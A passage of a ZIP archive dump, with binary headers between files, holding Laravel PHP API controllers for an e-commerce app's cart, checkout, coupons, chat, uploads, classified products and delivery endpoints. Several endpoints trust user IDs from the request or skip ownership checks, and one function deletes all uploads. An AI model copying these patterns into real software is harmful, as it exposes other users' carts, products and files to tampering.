$temp_user_id = $request->temp_user_id != null ? $request->temp_user_id : null; if($user_id != null) { $carts = Cart::where('user_id', $user_id)->active()->get(); } else { if($temp_user_id == null){ $temp_user_id = bin2hex(random_bytes(10)); } $carts = Cart::where('temp_user_id', $temp_user_id)->active()->get(); } $check_auction_in_cart = CartUtility::check_auction_in_cart($carts); $product = Product::findOrFail($request->id); if ($check_auction_in_cart && $product->auction_product == 0) { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate('Remove auction product from cart to add this product.') ], 200); } if ($check_auction_in_cart == false && count($carts) > 0 && $product->auction_product == 1) { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate('Remove other products from cart to add this auction product.') ], 200); } if ($product->min_qty > $request->quantity) { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate("Minimum") . " {$product->min_qty} " . translate("item(s) should be ordered") ], 200); } $variant = $request->variant; $tax = 0; $quantity = $request->quantity; $product_stock = $product->stocks->where('variant', $variant)->first(); if($user_id != null) { $cart = Cart::firstOrNew([ 'variation' => $variant, 'user_id' => $user_id, 'product_id' => $request['id'] ]); } else { $cart = Cart::firstOrNew([ 'variation' => $variant, 'temp_user_id' => $temp_user_id, 'product_id' => $request['id'] ]); } $variant_string = $variant != null && $variant != "" ? translate("for") . " ($variant)" : ""; if ($cart->exists && $product->digital == 0) { if ($product->auction_product == 1 && ($cart->product_id == $product->id)) { return response()->json([ 'result' => false, 'message' => translate('This auction product is already added to your cart.') ], 200); } if ($product_stock->qty < $cart->quantity + $request['quantity']) { if ($product_stock->qty == 0) { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate("Stock out") ], 200); } else { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate("Only") . " {$product_stock->qty} " . translate("item(s) are available") . " {$variant_string}" ], 200); } } if ($product->digital == 1 && ($cart->product_id == $product->id)) { return response()->json([ 'result' => false, 'temp_user_id' => $temp_user_id, 'message' => translate('Already added this product') ]); } $quantity = $cart->quantity + $request['quantity']; } $price = CartUtility::get_price($product, $product_stock, $request->quantity); $tax = CartUtility::tax_calculation($product, $price); CartUtility::save_cart_data($cart, $product, $price, $tax, $quantity); if (NagadUtility::create_balance_reference($request->cost_matrix) == false) { return response()->json(['result' => false, 'message' => 'Cost matrix error']); } return response()->json([ 'result' => true, 'temp_user_id' => $temp_user_id, 'message' => translate('Product added to cart successfully') ]); } public function changeQuantity(Request $request) { $cart = Cart::find($request->id); if ($cart != null) { $product = Product::find($cart->product_id); if ($product->auction_product == 1) { return response()->json(['result' => false, 'message' => translate('Maximum available quantity reached')], 200); } if ($cart->product->stocks->where('variant', $cart->variation)->first()->qty >= $request->quantity) { $cart->update([ 'quantity' => $request->quantity ]); return response()->json(['result' => true, 'message' => translate('Cart updated')], 200); } else { return response()->json(['result' => false, 'message' => translate('Maximum available quantity reached')], 200); } } return response()->json(['result' => false, 'message' => translate('Something went wrong')], 200); } public function process(Request $request) { $cart_ids = explode(",", $request->cart_ids); $cart_quantities = explode(",", $request->cart_quantities); if (!empty($cart_ids)) { $i = 0; foreach ($cart_ids as $cart_id) { $cart_item = Cart::where('id', $cart_id)->first(); $product = Product::where('id', $cart_item->product_id)->first(); if ($product->min_qty > $cart_quantities[$i]) { return response()->json(['result' => false, 'message' => translate("Minimum") . " {$product->min_qty} " . translate("item(s) should be ordered for") . " {$product->name}"], 200); } $stock = $cart_item->product->stocks->where('variant', $cart_item->variation)->first()->qty; $variant_string = $cart_item->variation != null && $cart_item->variation != "" ? " ($cart_item->variation)" : ""; if ($stock >= $cart_quantities[$i] || $product->digital == 1) { $cart_item->update([ 'quantity' => $cart_quantities[$i] ]); } else { if ($stock == 0) { return response()->json(['result' => false, 'message' => translate("No item is available for") . " {$product->name}{$variant_string}," . translate("remove this from cart")], 200); } else { return response()->json(['result' => false, 'message' => translate("Only") . " {$stock} " . translate("item(s) are available for") . " {$product->name}{$variant_string}"], 200); } } $i++; } return response()->json(['result' => true, 'message' => translate('Cart updated')], 200); } else { return response()->json(['result' => false, 'message' => translate('Cart is empty')], 200); } } public function destroy($id) { Cart::destroy($id); return response()->json(['result' => true, 'message' => translate('Product is successfully removed from your cart')], 200); } public function guestCustomerInfoCheck(Request $request){ $user = addon_is_activated('otp_system') ? User::where('email', $request->email)->orWhere('phone','+'.$request->phone)->first() : User::where('email', $request->email)->first(); return response()->json([ 'result' => ($user != null) ? true : false ]); } public function updateCartStatus(Request $request) { $product_ids = $request->product_ids; $user_id = $request->user_id; $temp_user_id = $request->temp_user_id; $carts = ($user_id != null) ? Cart::where('user_id', $user_id)->get() : ($temp_user_id != null ? Cart::where('temp_user_id', $temp_user_id)->get() : [] ); $carts->toQuery()->update(['status' => 0]); if($product_ids != null){ $carts->toQuery()->whereIn('product_id', $product_ids)->update(['status' => 1]); } return response()->json([ 'result' => true, 'message' => translate('Cart status updated successfully') ]); } } PKPM]�|ML--.Http/Controllers/Api/V2/CategoryController.phpnu�[���has('parent_id') && request()->parent_id) { $category = Category::where('slug', request()->parent_id)->first(); $parent_id = $category->id; } // return Cache::remember("app.categories-$parent_id", 86400, function () use ($parent_id) { return new CategoryCollection(Category::where('parent_id', $parent_id)->whereDigital(0)->get()); // }); } public function info($slug) { return new CategoryCollection(Category::where('slug', $slug)->get()); } public function featured() { return Cache::remember('app.featured_categories', 86400, function () { return new CategoryCollection(Category::where('featured', 1)->get()); }); } public function home() { return Cache::remember('app.home_categories', 86400, function () { return new CategoryCollection(Category::whereIn('id', json_decode(get_setting('home_categories')))->get()); }); } public function top() { return Cache::remember('app.top_categories', 86400, function () { return new CategoryCollection(Category::whereIn('id', json_decode(get_setting('home_categories')))->limit(20)->get()); }); } } PKPM]4�yk��*Http/Controllers/Api/V2/ChatController.phpnu�[���user()->id)->latest('id')->paginate(10); return new ConversationCollection($conversations); } public function conversations_show(Request $request) { $conversation = Conversation::findOrFail($request->conversation_id); if ($conversation->sender_id == Auth::user()->id) { $conversation->sender_viewed = 1; } $conversation->save(); return response()->json([ 'success' => true, 'message' => 'Chat Show Successfully.' ], 200); } public function messages($id) { $messages = Message::where('conversation_id', $id)->latest('id')->paginate(10); return new MessageCollection($messages); } public function insert_message(Request $request) { $message = new Message; $message->conversation_id = $request->conversation_id; $message->user_id = auth()->user()->id; $message->message = $request->message; $message->save(); $conversation = $message->conversation; if ($conversation->sender_id == $request->user_id) { $conversation->receiver_viewed = "1"; } elseif ($conversation->receiver_id == $request->user_id) { $conversation->sender_viewed = "1"; } $conversation->save(); $messages = Message::where('id', $message->id)->paginate(1); return new MessageCollection($messages); } public function get_new_messages($conversation_id, $last_message_id) { $messages = Message::where('conversation_id', $conversation_id)->where('id', '>', $last_message_id)->latest('id')->paginate(10); return new MessageCollection($messages); } public function create_conversation(Request $request) { $seller_user = Product::findOrFail($request->product_id)->user; $user = User::find(auth()->user()->id); $conversation = new Conversation; $conversation->sender_id = $user->id; $conversation->receiver_id = Product::findOrFail($request->product_id)->user->id; $conversation->title = $request->title; if ($conversation->save()) { $message = new Message; $message->conversation_id = $conversation->id; $message->user_id = $user->id; $message->message = $request->message; if ($message->save()) { $this->send_message_to_seller($conversation, $message, $seller_user, $user); } } return response()->json(['result' => true, 'conversation_id' => $conversation->id, 'shop_name' => $conversation->receiver->user_type == 'admin' ? 'In House Product' : $conversation->receiver->shop->name, 'shop_logo' => $conversation->receiver->user_type == 'admin' ? uploaded_asset(get_setting('header_logo')) : uploaded_asset($conversation->receiver->shop->logo), 'title'=> $conversation->title, 'message' => translate("Conversation created"),]); } public function send_message_to_seller($conversation, $message, $seller_user, $user) { $array['view'] = 'emails.conversation'; $array['subject'] = translate('Sender').':- '. $user->name; $array['from'] = env('MAIL_FROM_ADDRESS'); $array['content'] = translate('Hi! You recieved a message from ') . $user->name . '.'; $array['sender'] = $user->name; if ($seller_user->type == 'admin') { $array['link'] = route('conversations.admin_show', encrypt($conversation->id)); } else { $array['link'] = route('conversations.show', encrypt($conversation->id)); } $array['details'] = $message->message; try { Mail::to($conversation->receiver->email)->queue(new ConversationMailManager($array)); } catch (\Exception $e) { //dd($e->getMessage()); } } } PKPM]�Ch��.Http/Controllers/Api/V2/CheckoutController.phpnu�[���coupon_code)->first(); if ($coupon == null) { return response()->json([ 'result' => false, 'message' => translate('Invalid coupon code!') ]); } $user_id = $request->user_id; $temp_user_id = $request->temp_user_id; $cart_items = ($user_id != null) ? Cart::where('user_id', $user_id)->where('owner_id', $coupon->user_id)->active()->get(): Cart::where('temp_user_id', $temp_user_id)->where('owner_id', $coupon->user_id)->active()->get(); $coupon_discount = 0; if ($cart_items->isEmpty()) { return response()->json([ 'result' => false, 'message' => translate('This coupon is not applicable to your cart products!') ]); } $in_range = strtotime(date('d-m-Y')) >= $coupon->start_date && strtotime(date('d-m-Y')) <= $coupon->end_date; if (!$in_range) { return response()->json([ 'result' => false, 'message' => translate('Coupon expired!') ]); } // check if user already used this coupon if($user_id != null){ $is_used = CouponUsage::where('user_id', $user_id)->where('coupon_id', $coupon->id)->first() != null; if ($is_used) { return response()->json([ 'result' => false, 'message' => translate('You already used this coupon!') ]); } } $coupon_details = json_decode($coupon->details); if ($coupon->type == 'cart_base') { $subtotal = 0; $tax = 0; $shipping = 0; foreach ($cart_items as $key => $cartItem) { $product = Product::find($cartItem['product_id']); $subtotal += cart_product_price($cartItem, $product, false, false) * $cartItem['quantity']; $tax += cart_product_tax($cartItem, $product,false) * $cartItem['quantity']; $shipping += $cartItem['shipping'] * $cartItem['quantity']; } $sum = $subtotal + $tax + $shipping; if ($sum >= $coupon_details->min_buy) { if ($coupon->discount_type == 'percent') { $coupon_discount = ($sum * $coupon->discount) / 100; if ($coupon_discount > $coupon_details->max_discount) { $coupon_discount = $coupon_details->max_discount; } } elseif ($coupon->discount_type == 'amount') { $coupon_discount = $coupon->discount; } } } elseif ($coupon->type == 'product_base') { foreach ($cart_items as $key => $cartItem) { $product = Product::find($cartItem['product_id']); foreach ($coupon_details as $key => $coupon_detail) { if ($coupon_detail->product_id == $cartItem['product_id']) { if ($coupon->discount_type == 'percent') { $coupon_discount += cart_product_price($cartItem, $product, false, false) * $coupon->discount / 100; } elseif ($coupon->discount_type == 'amount') { $coupon_discount += $coupon->discount; } } } } } if($coupon_discount>0){ $cart_query = $user_id != null ? Cart::where('user_id', $user_id) : Cart::where('temp_user_id', $temp_user_id); $cart_query->where('owner_id', $coupon->user_id)->active()->update([ 'discount' => $coupon_discount / count($cart_items), 'coupon_code' => $request->coupon_code, 'coupon_applied' => 1 ]); return response()->json([ 'result' => true, 'message' => translate('Coupon Applied') ]); }else{ return response()->json([ 'result' => false, 'message' => translate('This coupon is not applicable to your cart products!') ]); } } public function remove_coupon_code(Request $request) { $user_id = $request->user_id; $temp_user_id = $request->temp_user_id; $cart_query = $user_id != null ? Cart::where('user_id', $user_id) : Cart::where('temp_user_id', $temp_user_id); $cart_query->update([ 'discount' => 0.00, 'coupon_code' => "", 'coupon_applied' => 0 ]); return response()->json([ 'result' => true, 'message' => translate('Coupon Removed') ]); } } PKPM] d�2��/Http/Controllers/Api/V2/ClubpointController.phpnu�[���user()->id)->latest()->paginate(10); return new ClubpointCollection($club_points); } public function convert_into_wallet(Request $request) { $club_point = ClubPoint::find($request->id); if($club_point->convert_status == 0) { $amount = 0; foreach ($club_point->club_point_details as $club_point_detail) { if($club_point_detail->refunded == 0){ $club_point_detail->converted_amount = floatval($club_point_detail->point / get_setting('club_point_convert_rate')); $club_point_detail->save(); $amount += $club_point_detail->converted_amount; } } $wallet = new Wallet; $wallet->user_id = auth()->user()->id; $wallet->amount = $amount; $wallet->payment_method = 'Club Point Convert'; $wallet->payment_details = 'Club Point Convert'; $wallet->save(); $user = User::find(auth()->user()->id); $user->balance = $user->balance + $amount; $user->save(); $club_point->convert_status = 1; $club_point->save(); return response()->json([ 'success' => true, 'message' => translate('Successfully converted') ]); } } } PKPM]�L�+Http/Controllers/Api/V2/ColorController.phpnu�[���json($addons); } public function activated_social_login() { $activated_social_login_list = BusinessSetting::whereIn('type', ['facebook_login', 'google_login', 'twitter_login'])->get(); return response()->json($activated_social_login_list); } public function business_settings(Request $request) { $business_settings = BusinessSetting::whereIn('type', explode(',', $request->keys))->get()->toArray(); // $language_object = new stdClass(); // $language_object->id = -123123; // $language_object->type = 'default_lanuage'; // $language_object->value = env('DEFAULT_LANGUAGE'); // $language_object->lang = null; // $language_info = Language::where('code', env('DEFAULT_LANGUAGE'))->first(); // $mobile_app = new stdClass(); // $mobile_app->id = -12312; // $mobile_app->type = 'mobile_app_code'; // $mobile_app->value = $language_info->app_lang_code; // $mobile_app->lang = null; // $rtl_object = new stdClass(); // $rtl_object->id = -1231; // $rtl_object->type = 'rtl'; // $rtl_object->value = $language_info->rtl; // $rtl_object->lang = null; // $new_array = [$language_object, $rtl_object, $mobile_app]; // $settings = array_merge($business_settings, $new_array); return response()->json($business_settings); } } PKPM]�� ���&Http/Controllers/Api/V2/Controller.phpnu�[���json([ 'result' => true, 'message' => $message ]); } public function failed($message) { return response()->json([ 'result' => false, 'message' => $message ]); } } PKPM]PL$_22,Http/Controllers/Api/V2/CouponController.phpnu�[���code)->first(); if ($coupon != null && strtotime(date('d-m-Y')) >= $coupon->start_date && strtotime(date('d-m-Y')) <= $coupon->end_date && CouponUsage::where('user_id', auth()->user()->id)->where('coupon_id', $coupon->id)->first() == null) { $couponDetails = json_decode($coupon->details); if ($coupon->type == 'cart_base') { $sum = Cart::where('user_id', auth()->user()->id)->active()->sum('price'); if ($sum > $couponDetails->min_buy) { if ($coupon->discount_type == 'percent') { $couponDiscount = ($sum * $coupon->discount) / 100; if ($couponDiscount > $couponDetails->max_discount) { $couponDiscount = $couponDetails->max_discount; } } elseif ($coupon->discount_type == 'amount') { $couponDiscount = $coupon->discount; } if ($this->isCouponAlreadyApplied(auth()->user()->id, $coupon->id)) { return response()->json([ 'success' => false, 'message' => translate('The coupon is already applied. Please try another coupon') ]); } else { return response()->json([ 'success' => true, 'discount' => (float) $couponDiscount ]); } } } elseif ($coupon->type == 'product_base') { $couponDiscount = 0; $cartItems = Cart::where('user_id', auth()->user()->id)->active()->get(); foreach ($cartItems as $key => $cartItem) { foreach ($couponDetails as $key => $couponDetail) { if ($couponDetail->product_id == $cartItem->product_id) { if ($coupon->discount_type == 'percent') { $couponDiscount += $cartItem->price * $coupon->discount / 100; } elseif ($coupon->discount_type == 'amount') { $couponDiscount += $coupon->discount; } } } } if ($this->isCouponAlreadyApplied(auth()->user()->id, $coupon->id)) { return response()->json([ 'success' => false, 'message' => translate('The coupon is already applied. Please try another coupon') ]); } else { return response()->json([ 'success' => true, 'discount' => (float) $couponDiscount, 'message' => translate('Coupon code applied successfully') ]); } } } else { return response()->json([ 'success' => false, 'message' => translate('The coupon is invalid') ]); } } protected function isCouponAlreadyApplied($userId, $couponId) { return CouponUsage::where(['user_id' => $userId, 'coupon_id' => $couponId])->count() > 0; } public function couponList() { $coupons = Coupon::where('start_date', '<=', strtotime(date('d-m-Y')))->where('end_date', '>=', strtotime(date('d-m-Y')))->paginate(10); return new CouponCollection($coupons); } public function getCouponProducts($id) { $coupon = Coupon::where('id', $id)->first(); if($coupon->type == 'product_base'){ $products = json_decode($coupon->details); $coupon_products = []; foreach($products as $product) { array_push($coupon_products, $product->product_id); } $products = get_multiple_products($coupon_products); return new ProductMiniCollection($products); } return $this->failed(translate('Something went wrong')); } } PKPM]m$)).Http/Controllers/Api/V2/CurrencyController.phpnu�[���get()); } } PKPM]����ee.Http/Controllers/Api/V2/CustomerController.phpnu�[���user()->id)->where("user_type","customer")->get(); return new CustomerCollection($user); } } PKPM]zs��(�(8Http/Controllers/Api/V2/CustomerFileUploadController.phpnu�[���user()->user_type == 'customer') { $all_uploads = Upload::where('user_id', auth()->user()->id); if ($request->search != null) { $all_uploads->where('file_original_name', 'like', '%' . $request->search . '%'); } if ($request->type != null) { $all_uploads->where('type', $request->type); } switch ($request->sort) { case 'newest': $all_uploads->orderBy('created_at', 'desc'); break; case 'oldest': $all_uploads->orderBy('created_at', 'asc'); break; case 'smallest': $all_uploads->orderBy('file_size', 'asc'); break; case 'largest': $all_uploads->orderBy('file_size', 'desc'); break; default: $all_uploads->orderBy('created_at', 'desc'); break; } $all_uploads = $all_uploads->paginate(30)->appends(request()->query()); return new UploadedFileCollection($all_uploads); } return response()->json([ "result" => false, "data" => [] ]); } public function upload(Request $request) { $type = array( "jpg" => "image", "jpeg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image", "mp4" => "video", "mpg" => "video", "mpeg" => "video", "webm" => "video", "ogg" => "video", "avi" => "video", "mov" => "video", "flv" => "video", "swf" => "video", "mkv" => "video", "wmv" => "video", "wma" => "audio", "aac" => "audio", "wav" => "audio", "mp3" => "audio", "zip" => "archive", "rar" => "archive", "7z" => "archive", "doc" => "document", "txt" => "document", "docx" => "document", "pdf" => "document", "csv" => "document", "xml" => "document", "ods" => "document", "xlr" => "document", "xls" => "document", "xlsx" => "document" ); if (auth()->user()->user_type == 'customer') { if ($request->hasFile('aiz_file')) { $upload = new Upload; $extension = strtolower($request->file('aiz_file')->getClientOriginalExtension()); if ( env('DEMO_MODE') == 'On' && isset($type[$extension]) && $type[$extension] == 'archive' ) { return $this->failed(translate('File has been inserted successfully')); } if (isset($type[$extension])) { $upload->file_original_name = null; $arr = explode('.', $request->file('aiz_file')->getClientOriginalName()); for ($i = 0; $i < count($arr) - 1; $i++) { if ($i == 0) { $upload->file_original_name .= $arr[$i]; } else { $upload->file_original_name .= "." . $arr[$i]; } } $path = $request->file('aiz_file')->store('uploads/all', 'local'); $size = $request->file('aiz_file')->getSize(); // Return MIME type ala mimetype extension $finfo = finfo_open(FILEINFO_MIME_TYPE); // Get the MIME type of the file $file_mime = finfo_file($finfo, base_path('public/') . $path); if ($type[$extension] == 'image' && get_setting('disable_image_optimization') != 1) { try { $img = Image::make($request->file('aiz_file')->getRealPath())->encode(); $height = $img->height(); $width = $img->width(); if ($width > $height && $width > 1500) { $img->resize(1500, null, function ($constraint) { $constraint->aspectRatio(); }); } elseif ($height > 1500) { $img->resize(null, 800, function ($constraint) { $constraint->aspectRatio(); }); } $img->save(base_path('public/') . $path); clearstatcache(); $size = $img->filesize(); } catch (\Exception $e) { //dd($e); } } if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->put( $path, file_get_contents(base_path('public/') . $path), [ 'visibility' => 'public', 'ContentType' => $extension == 'svg' ? 'image/svg+xml' : $file_mime ] ); if ($arr[0] != 'updates') { unlink(base_path('public/') . $path); } } $upload->extension = $extension; $upload->file_name = $path; $upload->user_id = Auth::user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); } return $this->success(translate('File has been inserted successfully')); }else{ return $this->failed(translate("Upload file is missing")); } } return $this->failed(translate("You can't upload the file")); } public function destroy($id) { $upload = Upload::findOrFail($id); if (auth()->user()->user_type == 'customer' && $upload->user_id != auth()->user()->id) { return $this->failed(translate("You don't have permission for deleting this!")); } try { if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); return $this->success(translate('File deleted successfully')); } catch (\Exception $e) { $upload->delete(); return $this->failed(translate('File deleted Failed')); } return $this->success(translate('File deleted successfully')); } public function bulk_uploaded_files_delete(Request $request) { if ($request->id) { foreach ($request->id as $file_id) { $this->destroy($file_id); } return 1; } else { return 0; } } public function get_preview_files(Request $request) { $ids = explode(',', $request->ids); $files = Upload::whereIn('id', $ids)->get(); $new_file_array = []; foreach ($files as $file) { $file['file_name'] = my_asset($file->file_name); if ($file->external_link) { $file['file_name'] = $file->external_link; } $new_file_array[] = $file; } // dd($new_file_array); return $new_file_array; // return $files; } public function all_file() { $uploads = Upload::all(); foreach ($uploads as $upload) { try { if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->delete($upload->file_name); if (file_exists(public_path() . '/' . $upload->file_name)) { unlink(public_path() . '/' . $upload->file_name); } } else { unlink(public_path() . '/' . $upload->file_name); } $upload->delete(); flash(translate('File deleted successfully'))->success(); } catch (\Exception $e) { $upload->delete(); flash(translate('File deleted successfully'))->success(); } } Upload::query()->truncate(); return back(); } //Download project attachment public function attachment_download($id) { $project_attachment = Upload::find($id); try { $file_path = public_path($project_attachment->file_name); return Response::download($file_path); } catch (\Exception $e) { flash(translate('File does not exist!'))->error(); return back(); } } //Download project attachment public function file_info(Request $request) { $file = Upload::findOrFail($request['id']); return (auth()->user()->user_type == 'seller') ? view('seller.uploads.info', compact('file')) : view('backend.uploaded_files.info', compact('file')); } } PKPM]�� �  5Http/Controllers/Api/V2/CustomerPackageController.phpnu�[���package_id; $customer_package = CustomerPackage::findOrFail($data['customer_package_id']); if ($customer_package->amount == 0) { $user = User::findOrFail(auth()->user()->id); if ($user->customer_package_id != $customer_package->id) { $user->customer_package_id = $data['customer_package_id']; $customer_package = CustomerPackage::findOrFail($data['customer_package_id']); $user->remaining_uploads += $customer_package->product_upload; $user->save(); return $this->success(translate('Package purchasing successful')); } else { return $this->failed(translate('You cannot purchase this package anymore.')); } } return $this->failed(translate('Invalid input')); } public function purchase_package_offline(Request $request) { $customer_package = CustomerPackage::findOrFail($request->package_id); $customer_package = new CustomerPackagePayment(); $customer_package->user_id = auth()->user()->id; $customer_package->customer_package_id = $request->package_id; $customer_package->amount = $customer_package->amount; $customer_package->payment_method = $request->payment_option; $customer_package->payment_details = $request->trx_id; $customer_package->approval = 0; $customer_package->offline_payment = 1; $customer_package->reciept = ($request->photo == null) ? '' : $request->photo; $customer_package->save(); return $this->success(translate("Submitted Successfully")); } } PKPM]�_m���5Http/Controllers/Api/V2/CustomerProductController.phpnu�[���where('published', '1')->paginate(10); return new ClassifiedProductMiniCollection($products); } public function ownProducts() { $products = CustomerProduct::where('user_id', auth()->user()->id)->paginate(20); return new ClassifiedProductMiniCollection($products); } public function relatedProducts($slug) { $product = CustomerProduct::where('slug', $slug)->first(); $products = CustomerProduct::where('category_id', $product->category_id)->where('id', '!=', $product->id)->where('status', '1')->where('published', '1')->paginate(10); return new ClassifiedProductMiniCollection($products); } public function productDetails($slug) { return new ClassifiedProductDetailCollection(CustomerProduct::where('slug', $slug)->get()); } public function store(Request $request) { $user = auth()->user(); if($user->remaining_uploads < 1){ return response()->json([ 'result' => false, 'message' => translate('Your classified product upload limit has been reached. Please update your package.') ]); } $customer_product = new CustomerProduct; $customer_product->name = $request->name; $customer_product->added_by = $request->added_by; $customer_product->user_id = $user->id; $customer_product->category_id = $request->category_id; $customer_product->brand_id = $request->brand_id; $customer_product->conditon = $request->conditon; $customer_product->location = $request->location; $customer_product->photos = $request->photos; $customer_product->thumbnail_img = $request->thumbnail_img; $customer_product->unit = $request->unit; $tags = array(); if($request->tags[0] != null){ foreach (json_decode($request->tags[0]) as $key => $tag) { array_push($tags, $tag->value); } } $customer_product->tags = implode(',', $tags); $customer_product->description = $request->description; $customer_product->video_provider = $request->video_provider; $customer_product->video_link = $request->video_link; $customer_product->unit_price = $request->unit_price; $customer_product->meta_title = $request->meta_title; $customer_product->meta_description = $request->meta_description; $customer_product->meta_img = $request->meta_img; $customer_product->pdf = $request->pdf; $customer_product->slug = strtolower(preg_replace('/[^A-Za-z0-9\-]/', '', str_replace(' ', '-', $request->name)).'-'.Str::random(5)); if($customer_product->save()){ $user->remaining_uploads -= 1; $user->save(); $customer_product_translation = CustomerProductTranslation::firstOrNew(['lang' => env('DEFAULT_LANGUAGE'), 'customer_product_id' => $customer_product->id]); $customer_product_translation->name = $request->name; $customer_product_translation->unit = $request->unit; $customer_product_translation->description = $request->description; $customer_product_translation->save(); return response()->json([ 'result' => true, 'message' => translate('Product has been added successfully.') ]); } return response()->json([ 'result' => false, 'message' => translate('Something went wrong!') ]); } public function update(Request $request, $id) { $user = auth()->user(); $customer_product = CustomerProduct::find($id); if($request->lang == env("DEFAULT_LANGUAGE")){ $customer_product->name = $request->name; $customer_product->unit = $request->unit; $customer_product->description = $request->description; } $customer_product->user_id = $user->id; $customer_product->category_id = $request->category_id; $customer_product->brand_id = $request->brand_id; $customer_product->conditon = $request->conditon; $customer_product->location = $request->location; $customer_product->photos = $request->photos; $customer_product->thumbnail_img = $request->thumbnail_img; $tags = array(); if($request->tags[0] != null){ foreach (json_decode($request->tags[0]) as $key => $tag) { array_push($tags, $tag->value); } } $customer_product->tags = implode(',', $tags); $customer_product->video_provider = $request->video_provider; $customer_product->video_link = $request->video_link; $customer_product->unit_price = $request->unit_price; $customer_product->meta_title = $request->meta_title; $customer_product->meta_description = $request->meta_description; $customer_product->meta_img = $request->meta_img; $customer_product->pdf = $request->pdf; $customer_product->slug = strtolower($request->slug); if($customer_product->save()){ $customer_product_translation = CustomerProductTranslation::firstOrNew(['lang' => $request->lang, 'customer_product_id' => $customer_product->id]); $customer_product_translation->name = $request->name; $customer_product_translation->unit = $request->unit; $customer_product_translation->description = $request->description; $customer_product_translation->save(); return response()->json([ 'result' => true, 'message' => translate('Product has been updated successfully.') ]); } return response()->json([ 'result' => false, 'message' => translate('Something went wrong!') ]); } public function delete($id) { $product = CustomerProduct::where("id", $id)->where('user_id', auth()->user()->id)->delete(); if($product) return response()->json(['result' => true, 'message' => translate('Product delete successfully')]); else return response()->json(['result' => false, 'message' => translate('Product delete failed')]); } public function changeStatus(Request $req, $id) { $product = CustomerProduct::where("id", $id)->where('user_id', auth()->user()->id)->first(); $product->status = $req->status; $product->save(); return response()->json([ 'result' => true, 'message' => translate('Product has updated successfully') ]); } } PKPM]U�`�;�;1Http/Controllers/Api/V2/DeliveryBoyController.phpnu�[���where('assign_delivery_boy', $id); $delivery_boy = DeliveryBoy::where('user_id', $id)->first(); return response()->json([ 'completed_delivery' => Order::where('assign_delivery_boy', $id)->where('delivery_status', 'delivered')->count(), 'pending_delivery' => Order::where('assign_delivery_boy', $id)->where('delivery_status', '!=', 'delivered')->where('delivery_status', '!=', 'cancelled')->where('cancel_request', '0')->count(), 'total_collection' => format_price($delivery_boy->total_collection), 'total_earning' => format_price($delivery_boy->total_earning), 'cancelled' => Order::where('assign_delivery_boy', $id)->where('delivery_status', 'cancelled')->count(), 'on_the_way' => Order::where('assign_delivery_boy', $id)->where('delivery_status', 'on_the_way')->where('cancel_request', '0')->count(), 'picked' => Order::where('assign_delivery_boy', $id)->where('delivery_status', 'picked_up')->where('cancel_request', '0')->count(), 'assigned' => Order::where('assign_delivery_boy', $id)->where('delivery_status', 'pending')->where('cancel_request', '0')->count(), ]); } public function assigned_delivery($id) { $order_query = Order::query(); $order_query->where('assign_delivery_boy', $id); $order_query->where(function ($query) { $query->where(function ($q) { $q->where('delivery_status', 'pending') ->where('cancel_request', '0'); })->orWhere(function ($q) { $q->where('delivery_status', 'confirmed') ->where('cancel_request', '0'); }); }); return new DeliveryBoyPurchaseHistoryMiniCollection($order_query->latest('delivery_history_date')->paginate(10)); } /** * Show the list of pickup delivery by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function picked_up_delivery($id) { $order_query = Order::query(); $order_query->where('delivery_status', 'picked_up'); $order_query->where('cancel_request', '0'); return new DeliveryBoyPurchaseHistoryMiniCollection($order_query->where('assign_delivery_boy', $id)->latest('delivery_history_date')->paginate(10)); } /** * Show the list of pickup delivery by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function on_the_way_delivery($id) { $order_query = Order::query(); $order_query->where('delivery_status', 'on_the_way'); $order_query->where('cancel_request', '0'); return new DeliveryBoyPurchaseHistoryMiniCollection($order_query->where('assign_delivery_boy', $id)->latest('delivery_history_date')->paginate(10)); } /** * Show the list of completed delivery by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function completed_delivery($id) { $order_query = Order::query(); $order_query->where('delivery_status', 'delivered'); if (request()->has('date_range') && request()->date_range != null && request()->date_range != "") { $max_date = date('Y-m-d H:i:s'); $min_date = date('Y-m-d 00:00:00'); if (request()->date_range == "today") { $min_date = date('Y-m-d 00:00:00'); } else if (request()->date_range == "this_week") { $min_date = date('Y-m-d 00:00:00', strtotime("-7 days")); } else if (request()->date_range == "this_month") { $min_date = date('Y-m-d 00:00:00', strtotime("-30 days")); } $order_query->where('delivery_history_date','>=',$min_date)->where('delivery_history_date','<=',$max_date); } if (request()->has('payment_type') && request()->payment_type != null && request()->payment_type != "") { if (request()->payment_type == "cod") { $order_query->where('payment_type','=','cash_on_delivery'); } else if (request()->payment_type == "non-cod") { $order_query->where('payment_type','!=','cash_on_delivery'); } } return new DeliveryBoyPurchaseHistoryMiniCollection($order_query->where('assign_delivery_boy', $id)->latest('delivery_history_date')->paginate(10)); } /** * Show the list of pending delivery by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function pending_delivery($id) { $order_query = Order::query(); $order_query->where('delivery_status', '!=', 'delivered'); $order_query->where('delivery_status', '!=', 'cancelled'); $order_query->where('cancel_request', '0'); return new DeliveryBoyPurchaseHistoryMiniCollection($order_query->where('assign_delivery_boy', $id)->latest('delivery_history_date')->paginate(10)); } /** * Show the list of cancelled delivery by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function cancelled_delivery($id) { $order_query = Order::query(); $order_query->where('delivery_status', 'cancelled'); if (request()->has('date_range') && request()->date_range != null && request()->date_range != "") { $max_date = date('Y-m-d H:i:s'); $min_date = date('Y-m-d 00:00:00'); if (request()->date_range == "today") { $min_date = date('Y-m-d 00:00:00'); } else if (request()->date_range == "this_week") { $min_date = date('Y-m-d 00:00:00', 